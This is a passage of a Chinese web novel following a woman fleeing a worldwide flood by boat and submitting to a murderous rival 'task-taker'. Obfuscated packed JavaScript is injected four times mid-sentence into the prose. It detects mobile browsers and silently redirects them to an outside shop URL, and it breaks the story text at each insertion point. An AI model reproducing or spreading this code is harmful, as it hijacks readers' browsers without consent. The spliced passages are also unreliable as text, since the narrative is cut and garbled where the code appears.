透过雨幕,她看到对面的单元楼里,露出一张张或惊恐或崩溃的脸庞。自家单元楼里也传来阵阵骚动,隔着防盗门,清晰地传进耳朵里。 她又打开卧室门,因为洪水,排水系统全部停摆,昨天窗户碎裂刮进屋里的雨水,把屋子泡得不成样。 她想着怎么才能把屋里的积水弄出去,忽然鼻尖传来一阵饭菜的香气,如今水电气还没停,但不一定什么时候就停了。不少人家都在争分夺秒,好做一些便携易储存的干粮。 听着耳边锅铲碰撞的声音,满满的人间烟火气,仿佛这只是一场普通的大雨,等雨停,人类的生活就又会回归正轨。 祁安安轻轻叹了口气,积水不好处理,她把厨房简单地收拾一下,又找出几个大容量的锅,开始烧热水。 天然气火力足,没一会儿满满四锅热水全部烧好,祁安安连水带锅一起放进了小屋,等真到了躲灾的时候,这几锅热水绝对是比食物还重要的生存资源。 —— 下午的时候,瞅着外头的雨又小了点。居民楼里陆续有人淌着水出去。 有人在楼上扯着嗓子劝:“喂,你们不要命了,这洪水多急,小心给你们冲跑了!” “咱们在家安心呆着,不出去添乱就是给政府减少负担。” “相信政府,一定能等来救援的!” 下面那个坐在红色塑料盆的男人,一句也没有理会,他拿着有些可笑的儿童塑料铲,目标明确地往小区外的超市划。 一个小时后,他带着物资满载而归,塑料盆装不下,就裹上好几个塑料袋绑在后面,跟着水一起飘回来。 刚刚劝他的人这下子闭上了嘴,但也有人觉得这是多此一举,自家屋里的存货还够坚持半个月,不信等不来救援。 也有人笑着凑上去,问能不能帮自己也带点物资,给跑腿费的那种。可惜男人异常冷漠,不仅一句话不回复,物资也一个都不让他们碰到。 又过了一会,陆陆续续有不少人走出家门,踏上了抢购物资的路。 塑料盆,门板甚至还有皮划艇,各种各样的装备飘在路上。 没过多久,打头阵的一批人先回来了,因为拿到了物资,他们脸上的表情松快不少。 “MD,不就是场洪水吗,这黑心老板居然敢把物价涨了三倍,等这事过去,我绝对要送他进局子!” “你这还算好的,我刚刚一瞅,这家店居然把好米和泡过水的大米掺在一起混卖,没有一点良心!” “阿嚏——,拿塑料盆划水真是又冷又慢,要不是孩子哭着要喝奶粉,我才不出来。” 他们一边聊天,手上速度也不慢,尤其是看到天色又变了的时候。 乌云悄悄在天空上聚集,大片大片黑沉沉的压下来,云层里隐约有电光闪过,不详的仿佛在酝酿着摧毁世界的一击。 众人不敢闲聊,连忙铆足了劲儿往家里赶。 远处的天边传来沉闷的雷声,轰隆隆,翻滚着咆哮着,仿佛就响在耳边。 变小了很久的雨突然猛烈,毫不留情地浇了下来。 在洪水中前行的人们猛然发现,随着雨水的变大,他们身旁的洪水也加快了流动速度,前行的阻力越来越大。 刚开始还仅仅只是阻力,到后来,它翻涌着,似乎想将一切都吞噬殆尽。 人群顿时乱了起来,塑料盆,门板还有皮划艇,好些大家伙挤在一处,磕磕碰碰,艰难在洪水里保持着平衡。 “都别挤了,一个一个慢慢上去!” “不论哪栋楼,先进到建筑里保命啊!” “快点,来不及了!” “跑啊!” 楼上的人扒着窗框焦急地大吼,可惜来不及了—— 一道粗壮的闪电落下,如同世界树折下了一根枝干,砸在地上重若千钧。 劈下的闪电在水里重新长出了枝桠,洪水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938454|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沸腾跳跃起来,还留在水里的人,甚至连死前的哀嚎都发不出来。 等他们鼓起勇气再去看时,只剩下被烧毁的塑料盆,焦黑的门板,还有里面一具具尸体。 倒下的人有十几个。 这些都是附近的居民,一声凄厉的哀嚎划破寂静,随后得到了不少人的响应。 “我的儿啊!” “老公!” “爸爸!” 幸存的人类只能悲伤,可连他们的哭嚎,很快就淹没在滚滚雷声里。天边的黑云还在翻动,这下子幸存者们没有一个再敢抱侥幸心理,谁也不知道,这会儿出去,下一秒会不会打下来一道炸雷。 幸好有好心人打开门让他们进来了,要不然…… 大雨慢慢隔绝了视线,不远处,散落的食物和焦黑的尸体越来越模糊,这注定是难熬的一天。 雷电还未停止,在第一道最强大的之后,陆陆续续十几道闪电又劈了下来。 过高的负荷,让楼顶的避雷针都暂时失了作用,闪电随机在城市的各个角落炸开,引来大片大片的尖叫声。 祁安安觉得不太好了,她所在的单元楼,总高25层,而她处在24层,闪电每劈下来,她都觉得是砸在自己头顶,吓人的可怕! “咔嚓”一道炸雷如命运般落下,祁安安披着雨衣站在刚刚清理好的空地上,只能选择抱紧自己。 卧室里又积了一些雨水,强大的电流在整栋楼四处扩散,简直肉眼可见。四散的电流在水中跳跃,稍微碰到,身体又酥又麻,难受的很。 不知过了多久,久到她都快要习惯突如其来的闪电和时不时被电的刺激,外面终于安静下来,再仔细听,好像连雨也停了。 准确来说,不是雨停,而是再次变成了绵绵细雨。 经过了昨天,这次所有人都长了个记性,没人敢再跑出去,只是让他们绝望的是,电,水,天然气,全部停了。 业主群里哀鸿遍野。 【家里到处都是水,哪位邻居有干燥的衣物,孩子冻得不行,一直在哭。】 【饿疯了,问问生米吃下去会怎么样?】 【谁家有热水,真要撑不住了!】 可惜这种时候求助的人多,伸出援手的却少。 祁安安在屋里又等了一天,绵绵细雨也下了一天,等第二天,雨势还是没有变化,她给冲锋舟充上气体,决定离开。 根据经验,末世越往后,难度越高,她必须要趁着尚且安全的时候,往高原能有多远走多远。 38. 第 38 章 临出发前,她打开手机看了一圈网上的信息。 停水停电不是个别现象,尤其是一些内陆盆地,受灾更为严重。 祁安安看到了不少求救信息。 【救命啊,身处盆地,一觉醒来洪水涨到八楼了!】 【位于河流入海口,黑江昨天决堤了。】 【别说了,我身在岛国的亲友三天前就失联了,希望他没事。】 当然也有不少高原ip的网友在得瑟。 【谢邀,人在高原,有水有电有网,曾经你们不给俺包邮,现在的俺,你们高攀不起了!】 【我也在高原,家里人学的机械设计,前两天被叫走,据说是参加保密任务。大家一定坚持住,政府肯定不会放弃我们的!】 机械设计!保密任务! 祁安安眼睛一亮,这会是她要寻找的方舟吗? 无论如何,这高原她是非去不可了。 接近傍晚的时候,她在房子里找到一个很有年代感的大红色塑料盆,打开防盗门,从楼梯往下走。 洪水只淹到了二层半,但害怕夜里突然涨水,三楼的几户人家也都搬了出来。 但洪水不是一天两天,到了这种时刻,很少有邻居会再打开家门邀请陌生人入住,能分出来一点食物,就是极大的善行。 祁安安从楼梯往下走的时候,零散看到几户人家,裹着半干的毯子,瑟瑟发抖的围坐在一起,看到她,有人露出不解的目光,有人直接拦路求施舍。 她目不斜视地继续往下走,到五楼的时候,被一位热心的老大娘给拦住了。 “闺女,你拎着盆要上哪儿去?咱可不能出去啊,昨天出去的那帮人好些都没回来,这是要命的事啊!” 大娘脸上满是焦急,而且嗓门不小,又有几个邻居出来,跟着一起劝,想方设法地堵着拉着祁安安不让她走。 这些都是善意的好意,祁安安没办法冷脸相待,她只能拉着大娘的手,诚恳地说。 “谢谢婶子们好心,我知道你们是怕我出事,但我父母就在隔壁小区,这两天雨小了也没打雷,我得赶紧过去和他们团聚。” 好说歹说,费了半天嘴皮子,大娘们总算半信半疑的撒开了她的手,让出了路,看着她坐在盆里向远方飘去。 “唉,这小姑娘有东西忘拿了,快把她喊回来!” 有人看到楼梯的拐角里多了个塑料袋,连忙扯开嗓子喊人。盆里的小姑娘好像一点没听见,离她们越来越远。 “算了,这么大一包,八成是人家特意留下来的。” 众人扒开了袋子,里头是一大包馒头,一大包暖宝宝贴,还有一个小塑料袋里,放了三瓶布洛芬,八瓶维生素片和五盒止泻药。 “这姑娘也太好心肠了!” 大娘看见满地的物资,浑浊的老眼差点落泪。她在心里求了漫天神佛保佑小姑娘一路顺利,然后赶紧带着业主们把物资分发了。 这下饿肚子的人能勉强垫垫,生病的人也有了希望。物资不多,却暖到了他们每个人的心里。 对面的单元楼里,祁安安的前男友,王辉举着望远镜怪叫:“唉,你快来看,那是不是祁安安?” “声音那么大干什么,”赵冰不耐的掏了掏耳朵,听到提起祁安安,才勉强虚浮脚步走过来一起看,“好像是她唉……” 隔着雨幕,虽然看得不太清楚,但祁安安就算化成灰,赵冰也不会不认得她。 这个贱人,偷偷搬出去也就算了,居然还把家里的食物全拿走了,连一包薯片都没留下! 她和王辉侥幸躲过了早高峰的洪水,却躲不过饿肚子。饥肠辘辘地硬撑了一天,两人不得不放下脸面在业主群里疯狂卖惨,终于得到了几个好心业主分来的食物。 但东西实在是太少了,就算是他们数着米粒下锅,也坚持不了几天。 更别提最珍贵的水资源,赵冰都不敢去想她多久没喝过水了。 这会儿看见造成这一切的罪魁祸首,她恨得牙痒痒,忍不住幻想仇人的落魄:“这贱人肯定是屋里没吃的了,要去超市买东西。” “老天爷啊,赶紧打雷下雨把她给劈死吧!” 王辉也开口:“不用打雷下雨,她一个女人,说不定在路上就被洪水淹死冻死了!” 两人你一句我一句的骂着,脸上露出痛快的笑。 —— 靠塑料盆在洪水里前行果真艰难,祁安安手都划酸了,才终于划出小区。 她找了个背人的地方,从空间里取出组装好充上气的冲锋舟,连接上油箱。 对面楼里有人伸出脑袋,试图和她搭话。 “大妹子,你这东西搁哪儿弄的,真炫酷!” “给你一万块,能捎我一程不,我爸妈家就在城南,一脚油门的事。” “是不是要做末世孤勇者,妹子,能不能带我一起行侠仗义!” “你是知道救援点吗,能不能带我们一起去,我儿子已经高烧三天了!” 远处的声音越来越多,甚至有人往她的冲锋舟上扔东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954591|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只不过距离太远准头也不行,这才没砸中人。 祁安安没搭理任何一个人,更不敢在这里久留,她装好邮箱,按下阀门,一骑绝尘地离开。 这时天色已经慢慢暗了下来,离开居民区的小路,冲锋舟转到更宽阔的主道上。 在高耸的建筑旁全部都是洪水,水面上漂浮着大量的垃圾,衣物、树叶,还有不少人类尸体。 泡的浮肿,面目狰狞,散发着恶臭味。 苍蝇团成一团,在冲锋舟经过时,又一大片散开。 昏暗的天空,阴冷的细雨。 浑浊的洪水带着尸体腐烂的臭味,苍蝇的嗡嗡声,一切让人倍感压抑。 不过城市内如今也不是没人。 除开那些遇难者之外,幸存的人们此时被困在各种高楼之上。前夜的暴雷将大量建筑的窗户击碎,他们躲在能够遮风挡雨的地方,祈祷洪水赶快褪去,大雨赶快停止,救援人员赶快到来。 可惜全球性的灾难,哪里有人手能够来救援。 祁安安选在黑夜出行是为了避人,冲锋舟前头只点了一盏昏暗的小灯,又用衣服裹住,把亮度降到了最低。 虽然已经做好了百分百的后勤工作,贴着暖宝宝,脑袋包着袋子,穿着雨衣在打着雨伞,时不时还要再灌点热水,但前进几个小时后,她还是冻得浑身发抖。 天快亮了,她需要找个地方睡一觉,然后吃点东西补充体力。 这会到了郊区,这边仓库不少,她找了个没被淹完的,绑着攀岩绳,将玻璃从外面敲开。 运气不错,这是个家具仓库,她拿着土豆雷在三楼巡视了一圈,确认没人后,这才放下心来,给自己收拾出了一个临时的小窝。 既然有现成的木材,祁安安也就不忍着受冻了,她找了个背风的地方,拆开几个家具,开始点火取暖。 因为潮湿,这些木头一时半会儿难以点燃,她拿出了火炬树桩,熊熊的火焰炙烤着,不到两分钟,湿漉漉的木头就又燃了起来。 确定大火不会熄灭,祁安安有节奏的往里添着木柴,然后把这几天攒着的湿衣服,和身上的一起,搭在火堆旁晾烤。 温热的火光暖得人懒懒的,她舒服地喟叹一声,从空间里扒拉出一份鳗鱼盖饭。 软嫩的鳗鱼配上秘制酱汁,吃上一口就让人停不下来。大概是冻得太久,身上能量流失严重,祁安安今天格外的饿,没一会把一整份饭吃完,还嫌不过瘾,又泡了一桶速食粥。 两份饭下肚,这才算填饱肚子。 39. 第 39 章 祁安安睡了一整个白天,醒来的时候燃在旁边的柴火早就熄了,还好她准备的睡袋够厚实,这才没有感冒。 她走到窗边看了看,外头依旧是小雨,连续三天小雨,让不少人心思又活泛了起来。路上出现了不少塑料盆,当然也有装备好一些的皮划艇,小渔船等等,人们哼哧哼哧用各种工具费力地往前划。 皮划艇上的人本来还挺有优越感,因为他们的工具更安全,更省力。 结果一转头,一艘速度极快的冲锋舟从远处飞驰而过,快到只能隐约看见上面有一道穿着雨衣的背影。 “MD,壕无人性啊!”有人酸成了一颗柠檬。 现在这世道,有冲锋舟不稀奇,但有石油才是稀奇中的稀奇。 市里大大小小的加油站全被淹了,就算有专业的潜水装备,也没人敢为了石油去冒这个险。 能开着冲锋舟肆意在洪水中前行,一点也不担心油耗,这人绝对是大佬中的大佬。只可惜是没机会抱上大腿了。 那人心里不禁觉得遗憾,转头还得面对惨淡的现实,哼哧哼哧继续划着皮划艇,还得不时提防有人来抢。 因为下雨,这些日子天一直黑得很快,几乎是不到五点,夜幕就降临了。 祁安安照例一刻不停地前行了一夜,天色快明的时候,她打了个哈欠,然后放慢了速度。 她还想像昨日一样找个废弃仓库,但今天没这种好运气了,更重要的是洪水淹上了三楼,她不得不去一些更高的建筑物里避雨。 今晚她选择的是一处还未施工完成的大楼,停电之后,城市处在黑暗之中,大楼里更是一片黑洞洞的黑暗。她把冲锋舟停在远处观察了一下,没发现人类活动的痕迹,这才换成塑料盆,慢慢朝大楼划去。 在她一点点慢慢移动时,大楼里也有人一眨不眨地盯着她。 “大哥,这女的怎么说?” 被叫做大哥的男人舔了舔唇,没忘记刚刚从高倍望远镜里看到的冲锋舟,那可是好东西啊。这会儿没看见,难道是女人把它藏起来了? 祁安安挂好攀岩绳,慢慢往大楼四楼的位置往上爬。 又过去一天,雨势虽然没有变大,但洪水已经慢慢涨到了三楼,安全起见,躲在四楼是避水又避人的好地方。 她往上攀爬的时候,大楼里有人向她的落点聚集。 祁安安刚一上来就被人团团围住,穿得流里流气的男人笑得不怀好意:“妹子,冲锋舟那种好东西你也舍得乱放,要不哥哥陪你取过来,咱放眼皮子底下才安心?” 话是商量,但看他手中把玩的小刀,却是没有一点商量的意思。 “滚!”祁安安眼神冰冷,一下子让几个人都变了脸色。 “敬酒不吃吃罚酒是吧!给我上。” 又有几个人从暗处走出来,祁安安看清楚了,他们手中有一个消防斧。再往远处看,依稀能不少几个人的身形。 这栋废弃大楼里不仅有恶人,还有一群沉默的旁观者。他们默然地看着这一切,没有一个人发出声音。 为首的男人冷笑一声,身旁的小弟各自挥舞着武器一拥而上。 祁安安不是以力能胜的力量型选手,但她也没打算跑路。 “BIU”一声,有些奇怪的声音,是祁安安开枪了。 预料到前往高原一路肯定重重困难,她在出门前就找系统兑换了武器,100积分获得了豌豆射手的购买资格,再用100积分购买到了永久植物。 也是买下植物后,祁安安才知道系统居然还有事瞒着她。 因为,永久植物居然是可以升级的,就比如,她可以再花费200积分,将豌豆射手升级成豌豆加特林,伤害直接翻到5倍,真正做到一梭子一个小坏蛋。 但考虑到洪水末世的特殊性,祁安安还想留着积分,有意外情况再自保,暂时只购买了最基础的豌豆射手。 这不现在就派上了用场。 不是空枪,子弹打在了领头男人的身上,虽然没出现创口,但他脸色肉眼可见地苍白。 祁安安不紧不慢的开口:“还要继续吗?再来一枪可是你的死期?” 几个人全部停下脚步,惊疑不定的看着祁安安手里那把有些可笑的玩具枪。 没人敢拿自己的小命开玩笑,他们往后退了。 祁安安还没松口气,一柄锋利的匕首猛然抵在了她的脖颈上。 身后什么时候多了个人?他又是怎么神不知鬼不觉把匕首伸过来的? 这种手段,他是另一个系统的任务者吗?他会杀了自己吗? 皮肤因为冷兵器的冰冷升起一层细密的鸡皮疙瘩,祁安安在这一时刻想到了很多? 她勉强保持镇定:“别杀我,你想要冲锋舟,我给你!” 男人玩味的匕首依旧在她脖颈试探,他似乎轻笑了一声:“冲锋舟?没有汽油的话,我要那东西干嘛?” “美女,我真正感兴趣的是你啊。你也是任务者对吗?” 果然如此。 祁安安不知道是不是该松口气,能正常沟通,看来“死生”并没有像第一个任务世界那样疯狂针对她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977293|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >以为是同一个系统的任务者,那应该还能再苟苟。 她讨好的笑了:“大哥,这是我第二个任务世界,看在都是任务者的份上,能不能放我一马?” “不好,”男人把刀刃又往她脖颈凑了凑,压出一片血线,“我给你两个选择,第一,死;第二,这次任务里做我的小弟……” “我选二!”祁安安毫不犹豫地答应。 MD,敢说不字这精神病绝对要杀了她。 男人的声音听起来愉悦了些,“非常好,你作出了正确的选择。” 抵在脖颈上的匕首挪开,下一秒,不远处传来了一声接一声的哀嚎,然后她嗅到了血腥气。 “这是对你的奖励。”男人说。 只是一瞬间的工夫,他就终结了六条人命。 祁安安不觉得开心,只是觉得这个人异常残暴! 她的警惕心达到了极点,面上还要装出一副受宠若惊的表情:“谢谢老大。” “那咱们现在干点什么?” 十分钟后,祁安安捡了些建筑垃圾点上火堆,然后乖巧地接受审问。借着火光,双方都看清楚了彼此的面容。 出乎意外,男人长得异常好看,是一种妖异的美,两人都没有自我介绍,他直接问:“你的任务是什么?” 第一个问题就这么刁钻,祁安安动了动脑筋,回答:“生存一个月。” “果然是新手任务。”男人嗤笑,似乎是相信了。 “你觉醒的天赋空间,有多大,囤了什么东西?”她接着问。 祁安安继续乱编:“大小是4立方米,里面可以放一艘冲锋舟,够行驶两天的石油,还有一些食物。” “这么点?”男人语气不满,但祁安安没错过他眼睛一亮。虽然他很快就恢复了无所谓的表情,但那细微的变化还是被她捕捉到了。 祁安安语气弱弱的:“我被投放的第二天就下雨了,没有囤货时间。” “行吧,你叫什么名字?” “我叫祁水,大哥叫我小祁就好。”形势比人强,祁安安很快就接受了自己的小弟身份,并且给自己编了个化名。 “大哥怎么称呼呢?” “姜澜。” “姜哥好!”祁安安站直了朝他鞠了一躬,非常有当小弟的自觉。 姜澜眼皮都没抬,指了指面前的空地,让她把东西全拿出来。 祁安安闻言愣了一秒,然后乖巧地照做。 她手指轻点,地上依次出现冲锋舟,一小桶石油,一箱压缩饼干,两箱罐头和三件矿泉水。 40. 第 40 章 姜澜没说话,祁安安非常上道,主动做狗腿子,她问:“姜哥吃饭了吗,我这里有压缩饼干和罐头?” “都要。”男人毫不犹豫回答。 祁安安应了声好,把罐头打开,在火堆上加热好,然后和压缩饼干一起递过去。 她自己则是拆了包压缩饼干,就着矿泉水吃了点。也想偷偷开小灶,但姜澜目光一直若有若无的落在她身上,搞得想偷吃块巧克力都没机会。 MD,受制于人,祁安安在心里反复骂了1000遍,睡觉时找了个角落,披着外套蜷缩着休息。 这一觉睡得不太舒服,大概休息了4个小时,她被姜澜喊了起来,整装收拾准备上路。 他心安理得的让祁安安拿出了一套全新的防水装备,把自己从头武装到脚趾后,率先踏上了冲锋舟。 “开船吧。” 祁安安小心翼翼地问:“姜哥,咱们接下来要去哪?” 姜澜似笑非笑的看着她:“你之前不是目标很明确吗?” 祁安安观察着他的神色说:“我计划是去西部的高原,一路上再收集一些石油和食物。” 她的想法倒是和自己差不多,姜澜点头:“这些石油还能支撑多久?” 祁安安估算了一下:“全速行驶的话,大概只够一天的用量。” 姜澜又是不满的“啧”了一声,他眼神危险的盯着祁安安:“那怎么办呢,没有石油,你的冲锋舟就没作用了,你也没有作用了,活着好像就只剩浪费粮食?” 祁安安毫不怀疑,姜澜现在看她的眼神和看储备粮也差不多。 这人不是在开玩笑,他真的会在失去利用价值之后杀了自己。 祁安安瑟瑟发抖的举起胳膊:“大佬,我吃的很少,没有石油也会努力划船,我很有用的……” 姜澜环臂坐在船尾处,玩味的看着她,也不知道有没有把话听进去。 祁安安悄悄捏紧了拳头,脸上却不敢表现出一点,她拿出手机,仔细查看了附近的地图。 “姜哥,附近山上显示有个加油站,那里海拔高,可能还没被淹完,咱们要不要去碰碰运气?” 姜澜给了反应,不置可否地点点头。 小命岌岌可危,祁安安操作冲锋舟,全速向加油站行驶。 一路上她都很紧张,害怕加油站完全被水淹了,又怕万一姜澜让她下潜,会不会很困难弄到油。 还好,两个小时后,祁安安成功在视野里看到了加油站的影子。 情况比预想的好,加油站修建在山上的一处村子旁,还没有被淹得太深,洪水大概涨到了三米的地方。 加油站不远处,村子的自建房里露出一个又一个脑袋,好奇又警惕地看着他们。 活着的人还很多,只不过被困在房子里无处可去。 有人远远地朝他们喊。 “你们从哪里来的?” “外面是什么情况?” “水电什么时候恢复?政府开始救援了吗?” 因为村子地势高,再加上每家每户都有储粮储物的习惯,洪水末世对他们没有造成太大的损伤,这里还能维持原有的秩序。 可惜祁安安和姜澜不是救援队,更不是救世主。他们一句也没搭理,目标明确地直奔加油站。加油站旁种植了不少高大的树木,因为风雨掉了不少枝干下来,祁安安小心避开,慢慢接近。 不用姜澜开口,她就知道这肯定是自己的活。还好水不算深,要不然没有潜水设备下去找油枪油桶,可是要命的。她停下冲锋舟,在船上做完了热身运动,脱掉雨衣,一头扎进了冰凉的洪水里。 祁安安没学过游泳,不过她运动天赋强,刚开始有些不适应呛了几口水,没过多久就自己研究出了四不像的狗刨,动作虽然好笑,但也算流畅。 她确认了个大致的方位,屏住呼吸往下下潜。 油枪很好找,她使劲把它拔出来,带到水面上,递给冲锋舟上的姜澜,转身还要再下潜一次打开阀门。 “唰”就在这时,远处划过一道白光。 不会又是闪电吧?被劈了一夜,差点ptsd的祁安安,下意识就想跑。 只不过没扑腾出去多远就被姜澜逮了回来,她被人攥着胳膊,一半身子还泡在水里,神色慌张:“姜哥,闪电,快跑!” “新人怎么这么麻烦。” 姜澜拖着下巴,认认真真的看着面前这个绝世大蠢才。 真是,蠢的没救了! 这种智商,到底是怎么活过第一个任务世界的? “装油,别的你不用管。”他冷冷的吩咐,说完,眼神危险一眯,看向不远处一栋自建房。 面前这个,算蠢的可爱,但远处那个,就是蠢的不知死活! 姜澜随手扔出把匕首,锋利的白刃在空中划出一道流光,下一秒自建房顷刻间倒塌。 好强! 祁安安目瞪口呆,再一次庆幸当初认怂的够快。 她还想再看会热闹,姜澜不耐烦地目光扫过来,祁安安立马老老实实浮潜下去做石油的搬运工。 虽然看不到,但依稀能听到水面上传来的动静,砰砰啪啪,似乎打得很激烈的样子。 祁安安盲猜是姜澜和另一个任务者的战斗,至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006754|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于目的,恐怕是他们驾驶的冲锋舟。 她拎起油枪冒出头小心观察了下,远处倒塌的自建房里蹦出来个冲锋衣男人,耍着一柄唐刀,舞得虎虎生风,刚刚见到的白光,应该是他划出的刀影。 她打开系统想研究一下两人的血条,估摸一下实力,但很可惜,啥也看不到,姜澜头顶也一样,应该是他们隐藏实力的方式。 祁安安拎着油枪慢慢靠近冲锋舟,假装自己只是一个无情灌油的工具人。 不过,明眼人都能看出来,这场战斗已经是姜澜占了上风,他的匕首操控玩的得心应手,冲锋衣男人除了最开始偷袭的那一下,居然再没对他造成任何伤害。 姜澜就像逗弄只老鼠般,一下斩掉他的左臂,再不经意露个破绽,让他以为能有机会逃出升天。 来回几次,冲锋衣男就尖叫着崩溃了,姜澜也终于失去了逗弄的心思,匕首一转,瞬间就收割了一条生命。 他催促着祁安安赶紧把油桶装满,然后驾驶冲锋舟,驶向冲锋衣男死亡的地方。 边上的村民们,同样看到了刚刚他杀人的诡谲手段,这会一个比一个安静,生怕姜澜狂性大发,变成杀人狂。 冲锋衣男死亡后留下了若干光团,大大小小,叫人看的眼花缭乱,祁安安对舔包环节并不陌生,也没多大心动,因为大部分东西她都不认得。 她错开视线,只认真地看着水面波动的痕迹,姜澜却突然拍拍她的肩膀,大方地说:“小祁,去随便挑一个。” 祁安安眼神一动,从光团里挑了个不太起眼的手枪。 小巧轻便,无论在哪都是防身好物。 姜澜看着她的选择,嘴角微微勾起:“这么多好东西,怎么就选了把最普通的手枪?” 祁安安拍马屁:“我跟着老大沾光,哪敢贪心,挑个最适合我的就行了。” 她捡起最显眼的唐刀:“宝刀配英雄,它配老大太合适了!” 姜澜看都不看:“这一地垃圾,也就你当成宝贝,麻溜打扫了,咱们还得赶路。” “谢谢老大!” 没想到姜澜这么大方,居然一个都不要! 祁安安喜笑颜开,唐刀、手枪、监听飞虫、补血剂……,好东西通通来我空间里天降横财,跟着这个老大好像都没那么难受了。 可惜,这个想法不到24小时就被他彻底删除。 姜澜是真不当人,居然连续三天都没下冲锋舟。快是真的快,但冷也是真的冷! 祁安安使劲搓了搓被吹到没有温度的双手,再回忆了一下,上次吃到热食是什么时候,忍不住又是一把辛酸泪。 41. 第 41 章 “阿嚏!”祁安安颤颤巍巍的又打了个喷嚏。 “不是吃了感冒药吗?”姜澜看不得她这病怏怏的模样,不耐烦地问。 祁安安欲哭无泪,感冒药难道是万能的吗?她这几天身体都没暖和过,现在还能保持意识清醒,已经是抵抗力立大功! 她蔫巴巴地裹紧身上的衣服,往旁边没什么精神的一歪,一副拒绝沟通的模样。 冲锋舟又往前行驶了半个小时,随着夜幕降临,迎面飘打来的雨水越来越冰凉,祁安安状态越来越差,脸色肉眼可见的苍白虚弱。 姜澜把冲锋舟停在一栋高耸的写字楼旁,手上的力气轻了些,把快昏迷的人给摇醒:“喂,把东西收起来,我们上去避雨。” 祁安安迷迷糊糊的睁开眼,脑子已经烧的不太灵敏了,只是下意识的按照指令做完了操作。 姜澜皱着眉头,攥着衣领把人拎上了写字楼的十层。 他带着人直接冲了进去,将躲在里面的幸存者吓了一大跳,“把你们所有保暖用品交出来,再给我们生一堆火。” 听到姜澜要的那些东西,幸存者们脸色一变,毫不客气地下了逐客令:“没有,你赶紧离开,不然我们动手了。” 他们各自拿起手边的武器,“赶紧离开,不然我们不客气了。” “是吗?”姜澜扶着人在墙角坐下,飞出去的一把匕首,分割成数十片,悬空抵在这些人的脖子上,“是要东西还是要命?” 他没有开玩笑。 “大哥手下留情……” 幸存者们顿时两股颤颤,配合地拿出暖宝宝、被子毛巾等物资。 姜澜都不知道多少年没生过病了,看着躺在地上面色涨红的女人,也不知道如何处理,干脆把这些保暖用品全堆在了她身上。 一堆东西砸在身上,压得虚弱的人更难受。 幸存者们又帮他升起一个大火堆,周身温度陡然升高,祁安安觉得呼吸都困难,不耐地踢了踢身上的被子。 姜澜眼疾手快的连忙给她盖回去。 祁安安又踢。 姜澜继续盖。 两人来回的推拉重复好几次,直到她忍无可忍,“啪”一下伸手,盖在那只不老实的爪子上。 姜澜脸色瞬间爆红,“蹭”退出去老远,他看看自己的爪子,又看看躺在远处的祁安安,眼神惊疑不定。 诡异的气氛里,那边有个幸存者打破了沉默。 “那个,她是发烧了,不用盖这么厚的被子。我之前是护士,需要帮忙吗?” 姜澜看着祁安安还在胡乱作怪的手脚,同意了护士的提议,他自己则是悄悄转了个身,对着瓷砖面壁思过。 祁安安的高烧发了一整晚,小护士先帮她换下了湿衣服,然后一整晚都在不断打湿毛巾,为她擦拭四肢降温。 一直到天色将明,她滚烫的额头,才终于下降了些温度。 祁安安又眯了一会,在被子里含糊地问:“这是到哪儿了?” “M市。”小护士回答。 祁安安迷糊的脑袋瓜瞬间清醒,她不顾尚未病愈的身体,连忙从地上坐起来:“咱们得赶紧离开!” M市处于盆地之中,因此积水比他们一路走过来的所有地方都要深。这也就算了,但祁安安想起了没断网前,临时恶补过的地理知识,一面有高山环绕又地势低的地方,在积水足够的情况下,很容易爆发山洪。 祁安安急得不行,姜澜却稳如老狗,“你病还没好,出去要是晕倒在路上,我直接把你丢水里喂苍蝇。” 她还没来得及,给这位发烧都不知道怎么散热的小文盲,来一堂生动形象的地理课,忽然楼上传来一声惊呼:“天哪,那是什么?海啸,海啸来了!” “你人傻了吧,咱们在内陆哪来的海啸?” “是洪水,好大的洪水!” 楼上楼下的尖叫声连成一片。 祁安安连忙走到窗户旁,原先的玻璃早就被吹掉了,此刻视野倒是毫不受阻拦,她清楚地看到,湍急的洪水从城市的西边急速流下。 